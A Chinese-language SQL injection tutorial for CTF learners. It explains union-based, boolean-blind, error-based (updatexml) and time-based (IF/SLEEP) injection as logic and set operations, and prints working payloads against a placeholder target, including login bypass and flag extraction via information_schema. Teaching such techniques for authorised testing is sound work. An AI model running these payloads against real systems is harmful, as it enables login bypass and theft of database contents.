本文只讲解技术原理与防御思路,所有示例均用于授权测试或CTF竞赛学习。未经授权对他人系统进行测试属于违法行为,请勿用于非法用途。
前言:你为什么背了100个Payload,还是不会写第101个?
网上90%的SQL注入教程,教的都是"药方":
- 登录框就试
' OR 1=1 -- - 有回显就试
UNION SELECT 1,2,3 - 没回显就试
AND SLEEP(5)
你照着敲,确实能出结果。但问题在于:换一个场景、换一个数据库、换一道CTF题,你又不确定该试什么了。
因为你在背单词 ,而不是懂语法。
这篇文章要做的事,就是把SQL注入背后那套一以贯之的数学逻辑拆出来给你看。你会发现:
- 所有注入手法,本质上干的是同一件事
- 99%的Payload结构,都可以现场推导,不需要背
- 遇到新场景时,你的思考流程会变成:"页面反馈什么 → 对应哪个数学模型 → 现场构造Payload"
这个思路,就是"自底向上"------先弄懂地基(数学逻辑),再去看地面上的建筑(各种注入手法)。地基稳了,上面怎么盖都跑不偏。
第一章:只学四句,就能覆盖90%的注入场景
先别管数据库、函数名、语法细节。我们只学四句逻辑骨架。
这四句对应的数学思想分别是:
| 序号 | 逻辑骨架 | 数学本质 | 一句话人话 |
|---|---|---|---|
| ① | OR 永真 |
谓词逻辑------或运算短路 | "要么满足条件,要么老子说的永远对" |
| ② | AND 永假 |
谓词逻辑------且运算测谎 | "我加一个假条件,页面变不变?" |
| ③ | UNION SELECT |
集合论------并集运算 | "把我的数据粘在你的数据屁股后面" |
| ④ | AND + SUBSTRING 逐字拆解 |
谓词逻辑 + 断言遍历 | "猜一个字符,对了页面就正常" |
第一句和第二句是逻辑基石,第四句是第二句的具体应用。后面你会看到它们如何串联。
这四句学透,你已经能覆盖联合注入、布尔盲注、报错注入、时间盲注 四大核心流派。剩下的只是不同数据库换函数名(比如SLEEP换成pg_sleep),逻辑不变。
第一句:OR 永真 ------ 逻辑短路,绕开身份验证
数学本质 :A OR True 恒等于 True。不管A是真是假,只要OR后面跟了一个永远为真的命题,整个表达式就被"短路"成真。
实战场景:登录框。
后台的查询逻辑通常是这样:
sql
SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码'
如果查到了数据,就说明账号密码正确,允许登录。
现在,你在用户名框里输入:
ini
admin' OR 1=1 --
后台拼接后变成:
sql
SELECT * FROM users WHERE username = 'admin' OR 1=1 --' AND password = 'xxx'
-- 是SQL里的注释符号,它会把后面的AND password全部"掐掉"。所以真正执行的逻辑是:
sql
SELECT * FROM users WHERE username = 'admin' OR 1=1
因为1=1永远为真,所以OR后面的条件恒成立。整个查询条件变成真 ,数据库返回该表中的第一条用户数据(通常是管理员)。
于是,你不需要知道密码,就以管理员身份登录了。
关键洞察 :OR 1=1 不是用来"拿数据"的,它是用来断路的------它让前面的条件判断失效,强行让整个查询返回真。
第二句:AND 永假 ------ 逻辑测谎,探测漏洞是否存在
数学本质 :A AND False 恒等于 False。不管A是真是假,只要AND后面跟了一个永远为假的命题,整个表达式就被"拉"成假。
实战场景 :URL参数 ?id=1,页面显示一条商品详情。
我们先输入:
ini
?id=1 AND 1=1
因为1=1为真,原条件id=1 AND 真 = 真,页面正常显示商品。
再输入:
ini
?id=1 AND 1=2
因为1=2为假,原条件id=1 AND 假 = 假,页面变成空白或报错。
关键结论来了:
- 页面正常 = 我附加的条件为真
- 页面空白/报错 = 我附加的条件为假
服务器变成了一台真值表显示器。你问它一个"是/否"问题,它用"正常/空白"来回答你。
这就是 "布尔盲注" 的起点------你还没有开始偷数据,但你已经有了一台测谎仪。
第三句:UNION SELECT ------ 集合合并,把数据粘到页面上
这是有回显位 时的主力武器。它的数学本质是集合论里的并集运算:把两个结果集上下堆叠成一张大表。
但要用UNION,必须先满足一个硬规则:左右两侧的查询必须返回相同的列数。这是集合合并的基础要求。
推演:一步一步拿到数据
假设靶机地址是 http://ctf.target/product?id=1,正常页面显示商品名称和价格。
第1步:清空原始结果集
如果原查询返回了数据,UNION会把我们粘的数据排在它下面。为了让我们粘的数据独占页面顶部 ,先让原查询返回空集:
ini
?id=-1
数据库里没有id=-1的商品,所以原查询返回空集。接下来 空集 ∪ 你的数据 = 你的数据,完美。
第2步:数清楚有几列(用 ORDER BY 探测)
因为UNION要求左右列数相等,你首先得知道原查询返回了几列。
依次尝试:
ini
?id=-1 ORDER BY 1 → 正常
?id=-1 ORDER BY 2 → 正常
?id=-1 ORDER BY 3 → 正常
?id=-1 ORDER BY 4 → 报错
ORDER BY按第几列排序,排到不存在的列就会报错。报错的那个数字减1,就是列数。
在这个例子里,报错发生在4,说明原查询返回 3列。
第3步:占位,看哪些列能被页面显示
现在你知道有3列了,输入:
ini
?id=-1 UNION SELECT 1,2,3
页面可能出现这样的情况:只显示了2和3,1没显示。
这说明:网页后端只取了结果集的第2列 和第3列渲染到页面上(第1列可能被用于内部逻辑,不展示)。
至此,你找到了两个"坑位"(第2列和第3列),可以在这些位置塞任何你想偷的数据。
进阶技巧:如果占位符不显示数字,只显示"裂图"怎么办?
把占位符从数字换成字符串,比如
'x'。如果页面上显示了字母x,说明这一列能承载文本数据,适合拿来偷密码;如果还是裂图,说明这一列只能存图片路径之类的数据,放弃它,换另一列试。这个动作的数学含义是值域测试------先摸清这个"坑位"能装什么类型的数据,再决定怎么利用它。
第4步:查目录表,找到目标表和列
你现在知道第2列和第3列能显示内容,但你还不知道flag藏在哪里。
每个数据库都自带一张"目录表",记录着所有表名和列名:
information_schema.tables→ 记录所有表名information_schema.columns→ 记录所有列名
先在显示位里查表名:
sql
?id=-1 UNION SELECT 1, table_name, 3 FROM information_schema.tables
页面上原本显示2的位置,开始滚动出大量表名。你很快发现了 flag_table。
再查这张表有哪些列:
sql
?id=-1 UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='flag_table'
页面显示:flag_col。
第5步:收割数据
sql
?id=-1 UNION SELECT 1, flag_col, 3 FROM flag_table
第2列的位置赫然出现:flag{SQL_Math_Master}。
特例:如果
flag_table有几百行,页面只显示第一行怎么办?把
flag_col换成group_concat(flag_col),这个函数会把多行数据粘成一个字符串,一次性全部显示出来。
第四句:AND + SUBSTRING 逐字拆解 ------ 布尔盲注的核心
现在回头看第二句(AND 永假),我们只用它来探测漏洞是否存在。但它真正的威力,是在你有了"测谎仪"之后------你开始用这台测谎仪,去猜数据库里的每一个字符。
数学本质 :把要猜的字符拆出来,作为一个"断言"挂在AND后面。断言为真,页面正常;断言为假,页面空白。
推演:逐字爆破解密
假设你已经知道flag_table里有flag_col,但页面没有任何显示位,也没有报错信息。你只有"正常/空白"两种状态。
第1步:先确定目标数据的长度
ini
?id=1 AND (SELECT LENGTH(flag_col) FROM flag_table LIMIT 1)=40
如果页面正常,说明长度为40;如果空白,继续试41、42......
这一步可以用二分查找优化:先试
>30,再试>35,效率更高。
第2步:逐位猜字符
你已经知道长度是40了。现在猜第一个字符:
sql
?id=1 AND (SELECT SUBSTRING(flag_col, 1, 1) FROM flag_table LIMIT 1)='a'
- 页面正常 → 第一个字符是
a - 页面空白 → 换成
'b'继续试
依次试'c'、'd'......直到试出正确的那个,然后猜第2位、第3位......直到拼出完整的flag{...}。
优化技巧:逐字试26个字母太慢。可以用ASCII码配合二分查找:
问"ASCII码是否大于100"→ 正常/空白 → 缩小一半范围 → 再问"是否大于110"......
平均7次就能确定一个字符,比试26次快得多。
至此,你已经学完了四句核心骨架
回顾一下:
OR 永真→ 登录绕过,逻辑短路AND 永假→ 漏洞探针 + 测谎仪UNION SELECT→ 有回显时直接粘数据AND + SUBSTRING→ 无回显时用测谎仪逐字猜
但这四句只覆盖了**"有回显"和"有真假状态"**两种情况。
如果页面既不显示数据,也不区分正常/空白,只抛出报错信息 呢?
如果页面什么都看不到,唯一能感知的是网络响应时间呢?
第二章:当页面沉默时------报错注入与时间盲注
上一章的四句骨架,依赖的是两种页面反馈:数据显示 (UNION)和真伪状态(AND测谎)。
但CTF里有一种更恶心的场景:页面既没有显示位,也不区分正常和空白------你输入什么都长一样,唯一能看到的是一行报错信息,或者什么都看不到只能靠计时。
这两种场景,数学上其实更简单。因为它们只是把"输出通道"换了个地方:一个走的是异常抛出通道 ,一个走的是时间延迟通道。
报错注入:异常即通道
场景特征:页面没有任何显示位,也没有"正常/空白"的真假变化。但只要你输入非法语法,页面就会弹出一行MySQL报错信息。开发没有关闭报错提示。
数学本质 :把目标数据拼入一个必然会触发类型错误的函数参数中,让数据库在报错时把数据"夹带"在错误信息里吐出来。
目标 :通过报错信息拿到flag。
推演开始
假设靶机地址 http://ctf.target/product?id=1,正常访问显示一个默认商品图。你输入任何AND 1=2页面都没有变化,但输入一个畸形语法会弹出报错。
第1步:确认报错函数可用
先用一个纯测试性的报错函数------updatexml(),它用于修改XML文档的路径。
ini
?id=1 AND updatexml(1, 0x7e, 1)
0x7e是波浪号~的十六进制表示,它不是合法的XPath路径。如果页面报错信息里出现了~,说明数据库确实执行了我们的函数,并且报错信息能携带我们塞进去的内容。
页面反应:
go
XPATH syntax error: '~'
确认:报错函数可用,报错信息能携带数据。
第2步:爆库名
ini
?id=1 AND updatexml(1, concat(0x7e, database()), 1)
database()返回当前数据库名(比如ctf_db),concat把它和波浪号粘成~ctf_db,塞进updatexml的第二个参数。
页面反应:
go
XPATH syntax error: '~ctf_db'
库名到手。
第3步:爆表名(逐行提取)
报错注入有一个硬伤:一次只能"震"出一行数据。如果information_schema.tables里有100张表,直接查会报错截断。所以需要用LIMIT逐条取。
先取第一张表:
ini
?id=1 AND updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 0, 1)), 1)
页面显示~users。再取第二张:
ini
?id=1 AND updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 1, 1)), 1)
页面显示~products。继续往后取,直到发现flag_table。
第4步:爆列名
找到flag_table后,查它的列名:
sql
?id=1 AND updatexml(1, concat(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='flag_table' LIMIT 0, 1)), 1)
震出flag_col。
第5步:爆数据
ini
?id=1 AND updatexml(1, concat(0x7e, (SELECT flag_col FROM flag_table LIMIT 0, 1)), 1)
页面显示:
go
XPATH syntax error: '~flag{SQL_Math_Master}'
数据到手。
报错注入的关键洞察:
- 你不需要显示位,不需要真伪状态
- 你只需要一个能把数据塞进报错信息里的函数
updatexml和extractvalue是MySQL中最常用的两个报错函数- 不同数据库有不同函数(比如PostgreSQL用
cast()触发类型转换报错),但数学逻辑完全一致:把目标数据映射到异常信息中
时间盲注:时域即信号
场景特征 :页面绝对静止------无显示位、无报错信息、无真伪变化。所有请求返回的HTTP状态码和页面内容完全一样。唯一能感知的差异,是浏览器右下角的加载转圈时间。
数学本质 :把要判断的"布尔命题"作为IF语句的条件,条件为真就执行延迟函数(比如睡5秒),条件为假就立即返回。用响应时间的差值来反推数据的每一位。
目标 :用"秒表"把flag一位一位量出来。
推演开始
第1步:确认延迟函数可用
先测SLEEP()基元是否被允许执行。
输入:
ini
?id=1 AND IF(1=1, SLEEP(5), 0)
浏览器转了整整5秒才加载完。
再输入:
ini
?id=1 AND IF(1=2, SLEEP(5), 0)
浏览器瞬间加载完。
确认:IF(条件, 真时执行, 假时执行)工作正常。条件为真就睡5秒,条件为假就跳过。我们有了一个逻辑秒表。
第2步:确定数据长度
你猜flag可能是flag{...}格式,长度大约40左右。但要精确。
依次试:
scss
?id=1 AND IF((SELECT LENGTH(flag_col) FROM flag_table LIMIT 1)=30, SLEEP(5), 0)
等了5秒 → 长度为30?不对,是30确实匹配了。继续试31、32......直到试到40时卡了5秒。
确认长度为40。
第3步:逐位猜字符
现在猜第一个字符。把flag_col的第一位拆出来,和字母表(a-z, 0-9, {, })逐一比对。
scss
?id=1 AND IF((SELECT SUBSTRING(flag_col, 1, 1) FROM flag_table LIMIT 1)='a', SLEEP(5), 0)
瞬间加载完 → 不是'a'。试'b'、'c'......试到'f'时,卡了5秒。
第一位是'f'。
再猜第二位:
scss
?id=1 AND IF((SELECT SUBSTRING(flag_col, 2, 1) FROM flag_table LIMIT 1)='a', SLEEP(5), 0)
依次试,直到拼出完整的flag{...}。
优化技巧:二分查找
逐字试26个字母太慢。用ASCII码做二分查找,7次就能定位一个字符。
先问:
scss
?id=1 AND IF((SELECT ASCII(SUBSTRING(flag_col, 1, 1)) FROM flag_table LIMIT 1)>100, SLEEP(5), 0)
如果卡5秒 → ASCII码大于100。再问>110,再问>115......每次缩小一半范围。7次之后精确锁定字符的ASCII码值。
40个字符 × 7次 = 280次请求,远快于40 × 26 = 1040次。
时间盲注的关键洞察:
- 你不需要任何可见反馈
- 你需要的是一个能将布尔值映射为时间差的函数组合 (
IF+SLEEP) - 不同数据库的延迟函数不同(MySQL是
SLEEP,PostgreSQL是pg_sleep,SQLite没有内置延迟函数但可以用复杂计算替代) - 但数学本质不变:布尔命题 → 时间差映射
第三章:四类通道的统一框架
现在你学完了四句骨架 + 两个延伸流派。把它们放在一起看,就清晰了。
所有注入手法在做同一件事
寻找"输出侧信道"。
数据库执行了你的查询,得出了结果。但结果不会主动告诉你------你需要找到一个你能观测到的物理通道,让数据库把结果"吐"到这个通道上。
| 通道类型 | 观测方式 | 代表手法 | 数学本质 |
|---|---|---|---|
| 结果集通道 | 页面显示数据 | UNION SELECT | 集合并集投影 |
| 真值通道 | 页面正常/空白 | AND 1=1 / 1=2 | 谓词真值表 |
| 异常通道 | 报错信息内容 | updatexml报错 | 类型系统冲突 |
| 时间通道 | 响应耗时 | IF + SLEEP | 条件延迟执行 |
攻击决策流程
当你面对一个输入点时,按这个流程走,不需要背任何Payload:
ini
输入点 → 测注入点(单引号) → 确认执行环境(1=1/1=2)
→ 选输出通道:
有显示位? → UNION(结果集通道)
有报错信息? → updatexml(异常通道)
有真伪状态? → AND + SUBSTRING(真值通道)
只有时间能感知? → IF + SLEEP(时间通道)
→ 构造Payload → 提取数据
三个终极问题
面对任意注入场景,你只需要问自己三个问题:
-
当前页面能给我什么反馈?
显示位?报错信息?真伪状态?还是只有响应时间?
-
我该如何把查询结果"塞"进这个反馈通道里?
比如显示位就用UNION粘,报错通道就用concat拼进报错函数,时间通道就用IF挂载延迟函数。
-
这个通道能承载多大的数据量?
一次显示一整行?一次只能一个字符?一次最多显示一行的前N个字符?根据这个决定用
LIMIT逐条取,还是用group_concat合并,还是用SUBSTRING逐字拆。
写在最后
当你掌握了这套数学框架,面对任意输入点时,你的思维流程会变成:
页面反馈类型 → 选取对应数学模型 → 现场推导Payload结构
这个过程叫创造 ,而不是背诵。
你不需要记住updatexml的第二个参数是什么类型,不需要记住extractvalue的语法细节,不需要背information_schema里有哪些表。你只需要知道:
- 我需要一个能触发报错的函数
- 我需要一个能记录所有表名的系统表
- 我需要把目标数据拼接成参数塞进去
然后去查文档、翻笔记、现场试。这比背100个Payload有效得多。
因为Payload会变,数据库会变,WAF规则会变。但集合论不会变,谓词逻辑不会变,映射关系不会变。
这就是"自底向上"的力量。
免责声明
本文所有技术内容仅供网络安全爱好者学习CTF竞赛、进行授权系统测试使用。未经授权对任何生产系统、第三方网站或个人账户进行渗透测试属于违法行为。作者及本文发布平台不承担因读者违规操作所产生的任何法律责任。请遵守《中华人民共和国网络安全法》及相关法律法规,在合法合规的前提下学习技术知识。
全文完。